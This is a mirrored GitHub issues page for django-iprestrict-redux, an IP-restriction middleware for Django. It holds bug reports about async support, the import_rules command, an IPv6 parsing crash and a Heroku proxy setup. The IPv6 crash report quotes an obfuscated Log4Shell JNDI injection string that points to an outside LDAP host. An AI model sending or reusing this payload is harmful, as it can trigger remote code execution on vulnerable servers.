sztamas / django-iprestrict-redux Goto Github PK

View Code? Open in Web Editor NEW

13.0 13.0 3.0 425 KB

Django app + middleware to restrict access to all/sections of app by client IP ranges

License: BSD 3-Clause "New" or "Revised" License

Python 96.22% CSS 1.06% HTML 2.71%

hacktoberfest

django-iprestrict-redux's People

Contributors

Stargazers

Watchers

Forkers

fermorltd ravexina stdweird

django-iprestrict-redux's Issues

Django async support with ASGI.

I'm converting my project to be deployed under ASGI with daphne with the Django channels library. I have the IPRestrictMiddleware hooked up in my middleware and after turning on the channels app I started getting this issue

Traceback (most recent call last):
django_1    |   File "/usr/local/lib/python3.8/site-packages/channels/staticfiles.py", line 40, in __call__
django_1    |     return await self.staticfiles_handler_class()(
django_1    |   File "/usr/local/lib/python3.8/site-packages/channels/http.py", line 179, in __init__
django_1    |     self.load_middleware()
django_1    |   File "/usr/local/lib/python3.8/site-packages/channels/http.py", line 294, in load_middleware
django_1    |     super(AsgiHandler, self).load_middleware()
django_1    |   File "/usr/local/lib/python3.8/site-packages/django/core/handlers/base.py", line 58, in load_middleware
django_1    |     mw_instance = middleware(adapted_handler)
django_1    |   File "/code/project/middlewares/ejn_ip_restrict.py", line 7, in __init__
django_1    |     self.ip_restrict = IPRestrictMiddleware(get_response)
django_1    |   File "/usr/local/lib/python3.8/site-packages/iprestrict/middleware.py", line 17, in __init__
django_1    |     self.restrictor = IPRestrictor()
django_1    |   File "/usr/local/lib/python3.8/site-packages/iprestrict/restrictor.py", line 12, in __init__
django_1    |     self.load_rules()
django_1    |   File "/usr/local/lib/python3.8/site-packages/iprestrict/restrictor.py", line 24, in load_rules
django_1    |     self.rules = list(Rule.objects.all())
django_1    |   File "/usr/local/lib/python3.8/site-packages/django/db/models/query.py", line 262, in __len__
django_1    |     self._fetch_all()
django_1    |   File "/usr/local/lib/python3.8/site-packages/django/db/models/query.py", line 1324, in _fetch_all
django_1    |     self._result_cache = list(self._iterable_class(self))
django_1    |   File "/usr/local/lib/python3.8/site-packages/django/db/models/query.py", line 51, in __iter__
django_1    |     results = compiler.execute_sql(chunked_fetch=self.chunked_fetch, chunk_size=self.chunk_size)
django_1    |   File "/usr/local/lib/python3.8/site-packages/django/db/models/sql/compiler.py", line 1173, in execute_sql
django_1    |     cursor = self.connection.cursor()
django_1    |   File "/usr/local/lib/python3.8/site-packages/django/utils/asyncio.py", line 24, in inner
django_1    |     raise SynchronousOnlyOperation(message)
django_1    | django.core.exceptions.SynchronousOnlyOperation: You cannot call this from an async context - use a thread or sync_to_async.

This happens because of the DB call in the __init__ of the IPRestrictMiddleware when instantiating the IPRestrictor.

    def load_rules(self):
        # We are caching the rules, to avoid DB lookup on each request
        from .models import Rule

        self.rules = list(Rule.objects.all())
        self.last_reload = timezone.now()

I can't see anything specific here about middleware https://docs.djangoproject.com/en/4.0/topics/async/ but I assume that any call like DB call is not ideal in the async scope.

I implemented this workaround which delays the instantiation of the class to the process_request instead which with the help of the django's MiddlewareMixin is implemented to run with the sync_to_async wrapper.

from django.utils.deprecation import MiddlewareMixin
from iprestrict.middleware import IPRestrictMiddleware


class CustomIPRestrictMiddleware(MiddlewareMixin):
    ip_restrict: IPRestrictMiddleware = None

    def process_request(self, request):
        if self.ip_restrict is None:
            self.ip_restrict = IPRestrictMiddleware(self.get_response)
        return self.ip_restrict(request)

Any thoughts on moving the DB call away from the __init__ call in the IPRestrictMiddleware and having some similar solution to what I've done?

Invalid IPv6 address breaking application

The middleware is breaking the application when it cannot parse the client's IPv6. In my case, it happened because some script kid was trying to find an exploit, but it has happened before with some exotic search engine crawling my website.

My suggestion would be to just drop the client request whenever this error happens.

Traceback (most recent call last):
  File "/home/w/sites/envs/prj/lib/python3.8/site-packages/django/core/handlers/exception.py", line 47, in inner
    response = get_response(request)
  File "/home/w/sites/envs/prj/lib/python3.8/site-packages/iprestrict/middleware.py", line 36, in __call__
    if self.restrictor.is_restricted(url, client_ip):
  File "/home/w/sites/envs/prj/lib/python3.8/site-packages/iprestrict/restrictor.py", line 16, in is_restricted
    if rule.matches_url(url) and rule.matches_ip(ip):
  File "/home/w/sites/envs/prj/lib/python3.8/site-packages/iprestrict/models.py", line 230, in matches_ip
    match = typed_ip_group(self.ip_group).matches(ip)
  File "/home/w/sites/envs/prj/lib/python3.8/site-packages/iprestrict/models.py", line 99, in matches
    if ip in r:
  File "/home/w/sites/envs/prj/lib/python3.8/site-packages/iprestrict/models.py", line 165, in __contains__
    ip_nr = ipu.to_number(ip)
  File "/home/w/sites/envs/prj/lib/python3.8/site-packages/iprestrict/ip_utils.py", line 21, in to_number
    return ipv6_to_number(ip) if is_ipv6(ip) else ipv4_to_number(ip)
  File "/home/w/sites/envs/prj/lib/python3.8/site-packages/iprestrict/ip_utils.py", line 30, in ipv6_to_number
    ip = convert_mixed(ip)
  File "/home/w/sites/envs/prj/lib/python3.8/site-packages/iprestrict/ip_utils.py", line 47, in convert_mixed
    raise ValueError(

Exception Type: ValueError at /
Exception Value: Invalid IPv6 address "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//2.13.12.12/TomcatBypass/Command/Base64/HeHeHe=}')". Dotted ipv4 part should be at the end.

REMOTE_ADDR = '172.4.19.22'

manage.py import_rules does not work with Django 4.0

Hi,

When I try to run manage.py import_rules base_ip_rules.json the following error occures:

Traceback (most recent call last):
  File "/home/app/web/manage.py", line 22, in <module>
    main()
  File "/home/app/web/manage.py", line 18, in main
    execute_from_command_line(sys.argv)
  File "/usr/local/lib/python3.10/site-packages/django/core/management/__init__.py", line 446, in execute_from_command_line
    utility.execute()
  File "/usr/local/lib/python3.10/site-packages/django/core/management/__init__.py", line 440, in execute
    self.fetch_command(subcommand).run_from_argv(self.argv)
  File "/usr/local/lib/python3.10/site-packages/django/core/management/base.py", line 414, in run_from_argv
    self.execute(*args, **cmd_options)
  File "/usr/local/lib/python3.10/site-packages/django/core/management/base.py", line 460, in execute
    output = self.handle(*args, **options)
  File "/usr/local/lib/python3.10/site-packages/iprestrict/management/commands/import_rules.py", line 22, in handle
    call_command("loaddata", *fixtures, **options)
  File "/usr/local/lib/python3.10/site-packages/django/core/management/__init__.py", line 184, in call_command
    raise TypeError(
TypeError: Unknown option(s) for loaddata command: fixture. Valid options are: app, app_label, args, database, exclude, force_color, format, help, ignore, ignorenonexistent, no_color, pythonpath, settings, skip_checks, stderr, stdout, traceback, verbosity, version.

I think we need to pop the 'fixture' kwarg from **options so that it is not passed to call_comand().

    def handle(self, *args, **options):
        fixtures = options.get("fixture", [])

        with transaction.atomic():
            self.delete_existing_rules()
            call_command("loaddata", *fixtures, **options)

Happy to create a PR to fix if this is still being mantained.

django-fast-iprestrict (rewrite of the iprestrict stuff)

Hey guys, I rebuilt from scratch a similar library just much simpler (needs only admin) and can be integrated in my other project django-fast-ratelimit

My project has async support (main reason for rewriting).

Note: it is in an early development state. It hasn't tests.

It can be found here:

https://github.com/devkral/django-fast-iprestrict

Problem with import rules

$ django-admin import_rules fixture rules.json 
Traceback (most recent call last):
  File "/usr/local/bin/django-admin", line 11, in <module>
    load_entry_point('Django', 'console_scripts', 'django-admin')()
  File "/usr/local/lib/python3.6/site-packages/Django-2.2.28-py3.6.egg/django/core/management/__init__.py", line 381, in execute_from_command_line
    utility.execute()
  File "/usr/local/lib/python3.6/site-packages/Django-2.2.28-py3.6.egg/django/core/management/__init__.py", line 375, in execute
    self.fetch_command(subcommand).run_from_argv(self.argv)
  File "/usr/local/lib/python3.6/site-packages/Django-2.2.28-py3.6.egg/django/core/management/base.py", line 323, in run_from_argv
    self.execute(*args, **cmd_options)
  File "/usr/local/lib/python3.6/site-packages/Django-2.2.28-py3.6.egg/django/core/management/base.py", line 364, in execute
    output = self.handle(*args, **options)
  File "/usr/local/lib/python3.6/site-packages/iprestrict/management/commands/import_rules.py", line 22, in handle
    call_command("loaddata", *args, **options)
  File "/usr/local/lib/python3.6/site-packages/Django-2.2.28-py3.6.egg/django/core/management/__init__.py", line 140, in call_command
    ', '.join(sorted(valid_options)),
TypeError: Unknown option(s) for loaddata command: fixture. Valid options are: app, app_label, args, database, exclude, force_color, format, help, ignore, ignorenonexistent, no_color, pythonpath, settings, skip_checks, stderr, stdout, traceback, verbosity, version.

Data in json file dump with command dumpdata (from docs) without modification.
And this new way of import is not mentioned in docs

Unable to use on heroku

Hello,

I tried to use django-iprestrict-redux as an INSTALLED_APP ("iprestrict") on django 3.1.3 running on python 3.7.9 and EVERY page gives me a 403 error for every page that I try to view. When I look at the logs, here's what I see:

Nov 07 16:31:15 beverly-hills-90210 heroku/router at=info method=GET path="/admin/" host=www.REDACTED.com request_id=f82fdec3-118a-4e98-ae42-85affe019621 fwd="52.11.12.20" dyno=web.1 connect=1ms service=969ms status=403 bytes=369 protocol=https
Nov 07 16:31:15 beverly-hills-90210 app/web.1 WARNING:iprestrict.middleware:Client IP 52.11.12.20 forwarded by untrusted proxy 10.159.227.245
Nov 07 16:31:15 beverly-hills-90210 app/web.1 WARNING:django.request:Forbidden (Permission denied): /admin/
Nov 07 16:31:15 beverly-hills-90210 app/web.1 Traceback (most recent call last):
Nov 07 16:31:15 beverly-hills-90210 app/web.1   File "/app/.heroku/python/lib/python3.7/site-packages/django/core/handlers/exception.py", line 47, in inner
Nov 07 16:31:15 beverly-hills-90210 app/web.1     response = get_response(request)
Nov 07 16:31:15 beverly-hills-90210 app/web.1   File "/app/.heroku/python/lib/python3.7/site-packages/sentry_sdk/integrations/django/middleware.py", line 134, in __call__
Nov 07 16:31:15 beverly-hills-90210 app/web.1     return f(*args, **kwargs)
Nov 07 16:31:15 beverly-hills-90210 app/web.1   File "/app/.heroku/python/lib/python3.7/site-packages/sentry_sdk/integrations/django/middleware.py", line 90, in sentry_wrapped_method
Nov 07 16:31:15 beverly-hills-90210 app/web.1     return old_method(*args, **kwargs)
Nov 07 16:31:15 beverly-hills-90210 app/web.1   File "/app/.heroku/python/lib/python3.7/site-packages/iprestrict/middleware.py", line 34, in __call__
Nov 07 16:31:15 beverly-hills-90210 app/web.1     client_ip = self.extract_client_ip(request)
Nov 07 16:31:15 beverly-hills-90210 app/web.1   File "/app/.heroku/python/lib/python3.7/site-packages/iprestrict/middleware.py", line 50, in extract_client_ip
Nov 07 16:31:15 beverly-hills-90210 app/web.1     client_ip = self.extract_client_ip_proxied_request(client_ip, forwarded_for)
Nov 07 16:31:15 beverly-hills-90210 app/web.1   File "/app/.heroku/python/lib/python3.7/site-packages/iprestrict/middleware.py", line 66, in extract_client_ip_proxied_request
Nov 07 16:31:15 beverly-hills-90210 app/web.1     raise exceptions.PermissionDenied
Nov 07 16:31:15 beverly-hills-90210 app/web.1 django.core.exceptions.PermissionDenied
Nov 07 16:31:15 beverly-hills-90210 app/web.1 10.159.227.245 - - [07/Nov/2020:14:31:15 -1000] "GET /admin/ HTTP/1.1" 403 135 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36"

In my settings.base.py I have


...

INSTALLED_APPS = [
    # 3rd party heroku app - says it should be first
    "scout_apm.django",
    # 'django.contrib.admin',
    "django.contrib.admin.apps.SimpleAdminConfig",
    "django.contrib.auth",
    "django.contrib.contenttypes",
    "django.contrib.sessions",
    "django.contrib.messages",
    "django.contrib.staticfiles",
    "django.contrib.humanize",
    #
    # third-party apps
    #
    "adminplus",
    "django_celery_beat",
    "django_celery_results",
    "django_extensions",
    "tinymce",  # pip install django-tinymce
    "rest_framework",
    "tastypie",  # django-tastypie
    "iprestrict",  # django-iprestrict-redux
    #
    # local apps for this program
    #
    "myapp",
]


MIDDLEWARE = [
    # Django security middleware should already be the first thing on the list.
    # Never load any middleware before Django security.
    "django.middleware.security.SecurityMiddleware",
    # "iprestrict.middleware.IPRestrictMiddleware",
    # Added for heroku and static files
    # 'whitenoise.middleware.WhiteNoiseMiddleware',
    "django.contrib.sessions.middleware.SessionMiddleware",
    "django.middleware.common.CommonMiddleware",
    "django.middleware.csrf.CsrfViewMiddleware",
    "django.contrib.auth.middleware.AuthenticationMiddleware",
    "django.contrib.messages.middleware.MessageMiddleware",
    "django.middleware.clickjacking.XFrameOptionsMiddleware",
    "rollbar.contrib.django.middleware.RollbarNotifierMiddleware",
]

IPRESTRICT_GEOIP_ENABLED = False

And in my urls.py, I have:


urlpatterns = [
    re_path(r"^iprestrict/", include("iprestrict.urls", namespace="iprestrict")),
    path("admin/", admin.site.urls),
    path("", include("myapp.urls")),
    path("tinymce/", include("tinymce.urls")),
]

Any ideas?

sztamas / django-iprestrict-redux Goto Github PK

django-iprestrict-redux's People

Contributors

Stargazers

Watchers

Forkers

django-iprestrict-redux's Issues

Django async support with ASGI.

Invalid IPv6 address breaking application

manage.py import_rules does not work with Django 4.0

django-fast-iprestrict (rewrite of the iprestrict stuff)

Problem with import rules

Unable to use on heroku

Recommend Projects

React

Vue.js

Typescript

TensorFlow

Django

Laravel

D3

Recommend Topics

javascript

web

server

Machine learning

Visualization

Game

Recommend Org

Facebook

Microsoft

Google

Alibaba

D3

Tencent